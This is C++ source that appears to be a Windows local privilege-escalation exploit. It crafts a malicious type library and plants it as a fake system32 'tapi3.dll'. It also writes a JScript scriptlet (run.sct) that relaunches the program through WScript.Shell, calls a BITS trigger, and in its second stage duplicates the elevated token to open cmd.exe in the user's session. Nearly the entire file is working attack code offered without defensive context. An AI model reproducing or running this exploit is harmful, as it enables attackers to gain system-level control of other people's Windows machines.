// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
static const GUID TypeLib_BaseInterface =
{ 0x6c6c9f33, 0xae88, 0x4ec2,{ 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };

GUID TypeLib_Tapi3 = { 0x21d6d480,0xa88b,0x11d0,{ 0x83,0xdd,0x00,0xaa,0x00,0x3c,0xca,0xbd } };

void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
{
	DeleteFile(filename);
	ICreateTypeLib2Ptr tlb;
	Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
	tlb->SetGuid(typelib_guid);

	ITypeInfoPtr ref_type_info;
	Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));

	ICreateTypeInfoPtr create_info;
	Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
	Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
	HREFTYPE ref_type;
	Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
	Check(create_info->AddImplType(0, ref_type));
	Check(create_info->SetGuid(iid));
	Check(tlb->SaveAllChanges());
}

std::vector<BYTE> ReadFile(bstr_t path)
{
	ScopedHandle hFile;
	hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
	if (hFile.invalid())
	{
		throw _com_error(E_FAIL);
	}	
	DWORD size = GetFileSize(hFile.get(), nullptr);
	std::vector<BYTE> ret(size);
	if (size > 0)
	{
		DWORD bytes_read;
		if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
		{
			throw _com_error(E_FAIL);
		}
	}
	
	return ret;
}

void WriteFile(bstr_t path, const std::vector<BYTE> data)
{
	ScopedHandle hFile;
	hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
	if (hFile.invalid())
	{
		throw _com_error(E_FAIL);
	}
	
	if (data.size() > 0)
	{
		DWORD bytes_written;
		if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
		{
			throw _com_error(E_FAIL);
		}
	}
}

void WriteFile(bstr_t path, const char* data)
{
	const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
	std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
	WriteFile(path, data_buf);
}

void BuildTypeLibs(LPCSTR script_path)
{
	ITypeLibPtr stdole2;
	Check(LoadTypeLib(L"stdole2.tlb", &stdole2));

	printf("Building Library with path: %s\n", script_path);
	unsigned int len = strlen(script_path);

	bstr_t buf = GetExeDir() + L"\\";
	for (unsigned int i = 0; i < len; ++i)
	{
		buf += L"A";
	}

	Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
	ITypeLibPtr abc;
	Check(LoadTypeLib(buf, &abc));


	bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
	Create(built_tlb, "ITMediaControl", TypeLib_Tapi3, IID_ITMediaControl, abc, IID_BaseInterface);

	std::vector<BYTE> tlb_data = ReadFile(built_tlb);
	for (size_t i = 0; i < tlb_data.size() - len; ++i)
	{
		bool found = true;
		for (unsigned int j = 0; j < len; j++)
		{
			if (tlb_data[i + j] != 'A')
			{
				found = false;
			}
		}

		if (found)
		{
			printf("Found TLB name at offset %zu\n", i);
			memcpy(&tlb_data[i], script_path, len);
			break;
		}
	}

	CreateDirectory(GetExeDir() + L"\\Windows", nullptr);
	CreateDirectory(GetExeDir() + L"\\Windows\\System32", nullptr);

	bstr_t target_tlb = GetExeDir() + L"\\Windows\\system32\\tapi3.dll";
	WriteFile(target_tlb, tlb_data);
}

const wchar_t x[] = L"ABC";

const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
"</registration>\r\n"\
"<script language='JScript'>\r\n"\
"<![CDATA[\r\n"\
"  new ActiveXObject('Wscript.Shell').exec('";

const wchar_t scriptlet_end[] = L"');\r\n"\
"]]>\r\n"\
"</script>\r\n"\
"</component>\r\n"\
"</package>\r\n";

bstr_t CreateScriptletFile()
{
	bstr_t script_file = GetExeDir() + L"\\run.sct";
	bstr_t script_data = scriptlet_start;
	bstr_t exe_file = GetExe();
	wchar_t* p = exe_file;
	while (*p)
	{
		if (*p == '\\')
		{
			*p = '/';
		}
		p++;
	}

	DWORD session_id;
	ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
	WCHAR session_str[16];
	StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);

	script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;

	WriteFile(script_file, script_data);

	return script_file;
}

void CreateNewProcess(const wchar_t* session)
{
	DWORD session_id = wcstoul(session, nullptr, 0);
	ScopedHandle token;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
	{
		throw _com_error(E_FAIL);
	}

	ScopedHandle new_token;

	if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
	{
		throw _com_error(E_FAIL);
	}

	SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));

	STARTUPINFO start_info = {};
	start_info.cb = sizeof(start_info);
	start_info.lpDesktop = L"WinSta0\\Default";
	PROCESS_INFORMATION proc_info;
	WCHAR cmdline[] = L"cmd.exe";
	if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
		nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
	{
		CloseHandle(proc_info.hProcess);
		CloseHandle(proc_info.hThread);
	}
}

int wmain(int argc, wchar_t** argv)
{
	try
	{
		CoInit ci;
		if (argc > 1)
		{
			CreateNewProcess(argv[1]);
		}
		else
		{
			bstr_t script = L"script:" + CreateScriptletFile();
			BuildTypeLibs(script);
			TestBits();
		}
	}
	catch (const _com_error& err)
	{
		printf("Error: %ls\n", err.ErrorMessage());
	}

    return 0;
}